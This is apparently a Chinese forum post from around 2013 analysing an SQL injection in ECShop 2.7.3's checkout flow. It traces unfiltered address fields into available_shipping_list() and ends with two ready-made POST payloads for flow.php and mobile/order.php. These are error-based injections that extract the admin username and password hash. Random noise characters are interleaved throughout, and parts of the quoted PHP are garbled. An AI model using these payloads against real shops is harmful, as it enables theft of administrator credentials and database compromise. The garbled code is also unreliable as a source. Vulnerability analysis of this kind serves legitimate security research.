前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。0 _2 `* b B- c* J6 o/ }
# ?6 p9 _) W# h, D* o, R$ a- R
漏洞关键文件:1 y9 Z7 c* Z4 ~9 E S8 b
( @. [; S3 f4 U
/includes/lib_order.php5 B+ z" s% L! j! u0 Z. Y
$ z# i" R$ C# K2 \1 ^2 ?7 D 关键函数:; J9 g4 j$ \2 l5 n& a6 W
& Y9 M6 @8 H$ E; C/ Y" I5 |
; @/ |7 K- B, }/ |! `
, F5 ]. o- G2 `6 s$ W6 m6 U
01 function available_shipping_list($region_id_list) 8 G \- v6 M, B- u) _+ X
: n- E( o; v. U% b7 z
02 { 6 z! j8 U& q" T
# I. N0 L0 Z8 i ~. M03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . + F. x, C0 B/ M% d, K& W9 l
$ V K0 d2 { m5 G9 z$ y
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
, e/ ^1 C7 H6 @' n u' `7 S! O+ y* |
. \. k- E( s/ R7 O05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 8 z$ H7 \1 c& d; K2 F' `. b
! x& P3 K, c2 ]2 l$ G6 ~
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
4 Y% S! }- E( \5 I" Z( |% `# e2 `* e5 K* b: @4 q! Q
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 6 D2 S: a- s' g9 l; m
* B- q0 Y0 n3 l7 b- i) E08 'WHERE r.region_id ' . db_create_in($region_id_list) .
+ h9 m# x' A/ l2 S: Z# A2 l
: _" }) O) x3 r7 x- R2 g09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 1 S4 e/ o8 ]5 n% p
" n" h* d% S8 L10
2 p/ g1 P4 R* I8 o& ^) c/ A& e0 _" i! L) L
11 return $GLOBALS['db']->getAll($sql); ( ?1 ]7 Q l* t5 F! I& E0 R5 j& `
2 f: w/ j: T$ N3 v a12 }
! ]. x$ y5 V1 L( b4 b! u
& R" Q1 G2 a5 {' z( o5 E0 ~显然对传入的参数没有任何过滤就带入了查询语句。
3 X' ? P; n3 M0 ^! e) i
7 U) y! q. c+ j8 V+ Y6 B0 Q& r d& A下面我们追踪这个函数在flow.php中:
; @% W/ {8 r8 r { 第531行: 3 P# `0 p/ E" ^8 d' p% @
- X; h, ^9 v, W4 Z% \1 $shipping_list = available_shipping_list($region);
% u! e& _" S: p) Z( a2 B' c$ o7 E. i0 E. _: j
7 N: ^1 G& W& e/ W7 c6 s$ E3 g6 M& k& r6 x$ b% f; F2 L; V
' t \2 r1 O* t0 O5 ^: ~
* h& f I, }$ K$ h5 n再对传入变量进行追踪:8 a9 G: ]- z7 \3 Y: o3 H
0 H, Y n$ l: t6 b; I
第530行: 7 }- b& q( d6 \8 Q8 t
/ q* N6 N' N: H% c! m) |9 [1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); , _9 \ m: ?, Q) G: N
5 h. e1 V* Y! Z: V9 M3 h' l
! i$ p) V0 O" J2 Q
" p% W4 P, g% o
1 J: x7 [' ]& }8 S
' D4 w5 t2 U! d7 Z1 h
第473行: 9 t0 v4 g/ v% B- R
+ ?* d; J2 s9 ^1 $consignee = get_consignee($_SESSION['user_id']);
9 A" x" \& i& x2 C0 t
2 e& T0 ^0 z. K7 f5 R% z; T: M# a到了一个关键函数:4 ]# a. E6 d. ~" ^1 d6 e2 p
5 A6 R7 j. L* u' C! D/includes/lib_order.php
; d$ N7 T( C$ a" W3 s- `! ~/ m5 r9 Q2 j1 N' b, D
, f; [7 S, I3 ?9 _1 G
5 F, g' v) T0 t+ w
" h: K' A2 E+ R1 {7 `8 z* C
; @) ^9 X* v" F0 b$ o. w0 G( ]01 function get_consignee($user_id)
' `, b8 e* m' @8 R& g2 T# t2 o: b ]8 Y
02 { , F! f( v* Z6 ~: @3 s
1 o+ [8 d5 }" E- q j# L/ y
03 if (isset($_SESSION['flow_consignee']))
7 w, A! W. |. }4 A- G7 `- C
! o, v0 c3 _/ N04 { ! q4 p0 J8 t1 \
. _. ^. e0 | Q0 q9 f" h05 /* 如果存在session,则直接返回session中的收货人信息 */ : k, `& B6 L/ A ?
{4 O0 `8 j# y2 m; r1 e
06
9 K7 c7 ? r2 J- C t* n& V- ? H
8 [/ d/ A& g* l2 X$ G07 return $_SESSION['flow_consignee']; ) w: t8 a# I! f: b0 w/ ]
4 `4 E. s2 B( M4 }2 ?08 }
b6 P1 V* z. K- v- k y& a
5 ?/ O- c* _" C09 else - ]+ |6 u0 Z: x) h1 R7 k
, ?! t& T7 I: U6 `- G3 c10 {
% N7 E, U. {6 m# F* _ s6 ^4 X, ^6 `
11 /* 如果不存在,则取得用户的默认收货人信息 */
7 L: M2 }/ A6 b, E7 {9 O& F0 B5 ?, w; S2 T- A0 h
12 $arr = array(); ( {& G" M2 s1 c1 S& H# p+ i
* E- a% A- E0 d" k$ J, H( f4 a13
D; G: d% Z x9 z2 s" m8 L- M0 @* C- {
14 if ($user_id > 0)
j+ j5 \2 e/ U8 F9 i. A. G) D1 v h7 X( Q0 K, f( C' V: i& D
15 { # G3 p9 h: m' _& ]3 l* ^+ s1 E
6 j! u) q/ q) \5 H16 /* 取默认地址 */ ' K# f6 F5 L$ ^' ~% |5 l
- v3 l0 I4 u `( B17 $sql = "SELECT ua.*".
2 B Q( W! B9 r' j% m3 c8 |* U, [- S1 t& ]6 {7 [4 t" @4 v
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. , H- x" O* C4 n" a9 D/ K" W
' t, r, ~- F7 R/ G4 N/ M
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 6 i" Z' b8 m* Z1 x" o& D$ X
* H6 D( S# |! g7 g$ c* a+ e: f
20 4 w) B. T# ~% }" T6 x# Q
. K' d( E9 u- P4 K/ m/ m
21 $arr = $GLOBALS['db']->getRow($sql); _; r/ h, U! i
2 _7 z% D+ i6 H
22 }
* b5 G# A) _! f8 O5 T w4 I! V( M9 p0 E6 M& f! S( n( L" n' i
23
; x5 S r/ L6 u% `( i, n" }
' K: ]! Y7 x3 |4 F5 A8 g24 return $arr;
0 i n1 P4 A, A; u! o. G3 G/ e2 J. p- Z7 K4 O
25 }
: i4 f0 t0 U8 z9 u0 C) z
" M% T5 M! y% G3 F/ q26 } 1 I: U+ b+ O" y% A7 R+ J
5 L% L" v% n+ A% x$ L D% b' u
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
$ m2 l& j- M; s" i6 b0 a K0 _/ b9 m2 Y4 @/ l
?9 Q& i- m, V3 i8 J) B( h' h3 F
: y8 i4 z6 `9 q, i6 W: c+ @9 b3 r
关键点:
+ d5 j: x2 p1 y6 R- Q3 c/ f# d* F6 `9 O3 \
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
+ o- s+ |- w& {, H& P+ B
& z J& ?/ B$ o9 P, r; R这里对传入参数反转义存入$_SESSION中。
* v5 E. F6 V! N5 L# Q6 F. K0 s2 p4 h1 C! R
, C6 @/ c& f* I* _+ I# z4 i$ V& i- j9 y2 p, K
然后看下:- m3 i& S% p4 V, K( N9 o# f: q1 X: D o
& K8 T0 B5 @# \# v1 n! k# j , k- J' o1 }2 c% L# M4 O" q5 r
' G; S7 i: c: ^, J
' ?) P& K$ u+ k5 u& G9 ]- b+ p6 s
. n v8 J% l0 ?5 W) u8 I01 $consignee = array( 3 ?. c$ P0 p) O
: V8 Q7 J0 f B, A2 v1 b3 m
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), $ f: E6 L4 r" }* h& V3 u
9 y% b/ L Z& o7 u3 i6 D' l; S4 k03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
$ K$ H, r( r* c1 q& p6 M6 S h! x) L9 V D: ]& I m! O8 l7 O
04 'country' => empty($_POST['country']) ? '' _POST['country'],
1 `0 x6 r: q* `6 Z0 L; {% D5 z8 B& n8 A$ l
05 'province' => empty($_POST['province']) ? '' _POST['province'], ; Q; P( @% E# f m' s% U$ j7 f
7 g9 _' K @5 O+ k06 'city' => empty($_POST['city']) ? '' _POST['city'],
( `; }" b6 s$ Y3 h& R
/ u- |, a: S0 W8 e0 D! s- ]; x07 'district' => empty($_POST['district']) ? '' _POST['district'], # a& g0 \' k a4 ]5 T4 @% P1 A
0 L' o4 T! p- N4 Z- O08 'email' => empty($_POST['email']) ? '' _POST['email'], # Q/ \* f) u1 y# a7 T1 w$ v# a: d0 ]
, Y& S1 X5 b b% D' q
09 'address' => empty($_POST['address']) ? '' _POST['address'],
) B6 R; o' M7 d8 L+ H
- @$ D/ L7 O1 C/ y: v& V. p& ?10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
2 v4 E1 T1 q$ F. C: C1 v
" p; Y/ `& M' l* ~11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 7 K. g- S+ s$ G+ g& w
/ `/ F8 @- X8 L2 T$ x4 `
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
P- C; Z! d. O- `) m( i$ T( k" d1 j: U. \/ {
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 2 q: a! U5 N' }. P& S# c8 n" F+ K. J
+ ?, L; ` @( V' j$ h14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
V" S5 D4 J6 |% \% A$ b) S) ~5 l6 a, K2 \% h ?
15 );
1 I2 L; Z: P* B3 b) V. i0 _5 V
" t( f% H5 `+ t好了注入就这样出现了。. Z O: x$ y$ n v' e5 o
. r3 C. `5 f5 B( ^! s==================5 C) i5 c; h' |' q9 H! k+ r
& i& l' w7 z% g+ l注入测试:
% D0 |0 r2 F6 @9 k! M. j8 F+ Y4 ^( ?% s2 X( S
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)8 Q% ? F9 k5 C+ D3 J
# b, [. {2 `4 K6 i7 z: ?测试程序:ECShop_V2.7.3_UTF8_release1106" S$ o5 A' t/ M; Y$ f7 b( {
2 h; Q% w* C9 _
% R* w2 O# `- R7 `7 C) m7 g7 L0 {5 I, Q
1.首先需要点击一个商品加入购物车: n0 m/ ~- [7 I
5 ^+ ?$ V0 e* F5 \6 ~0 o- j
2.注册一个会员帐号
' J# W% }5 o8 [+ [8 O0 f& U4 R
7 L2 u. Z! s* n4 H3.post提交数据
: P! `1 A! p) I& Y! N% q. R
K: A& m: i8 ` 1 D4 ]7 O2 F7 P" y1 X! _& u3 g. P
; x) L# I, l9 n5 o) u$ a# J6 d4 Y
1 http://127.0.0.1/ecshop/flow.php
3 n2 ^3 ~9 Z+ b$ V& a; z8 e9 \2 s0 q& G/ `
2
3 v ]9 N" {# j* Q: A- k, s$ I: y1 J
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
. |" P# R: K3 V8 J" d6 @8 k举一反三,我们根据这个漏洞我们可以继续深入挖掘:
/ `: V* K& `& J/ B2 A
; ]" w! r6 N% S+ G% z, \! r; o我们搜寻关键函数function available_shipping_list() X, q8 h: G5 b
, c2 c V0 l) `- n' R. U在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
$ ~) P* Z' V/ f1 m. S0 `
* t$ ]! p2 N! C$ x( R4 U利用exp:; C; k; U: x- a8 c
6 Q0 a4 D7 D7 f- k# B8 _7 x% a1.点击一个商品,点击购买商标
6 c7 M6 A2 M; q1 F* O' Q* y" M4 V2 h3 R ~) U' J* O
2.登录会员帐号
* Z# a' Z: G6 |- l* x5 Q1 C* ^$ h. i* s) P# y4 p9 f) J2 {" K
3.post提交:# E2 r+ g6 `0 N4 m, c
- b/ T! l% P2 ^! W5 ?' Yhttp://127.0.0.1/ecshop/mobile/order.php1 W: v+ r+ ~' F1 o N
" X$ y$ K' _1 U/ y5 E
+ ?3 O. t) b+ ]- z) k( R/ v* n
3 `5 c8 T; q8 Z3 `8 x" |
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( a4 ~+ \+ E1 C
; _# D/ T) T; }0 C/ M7 } |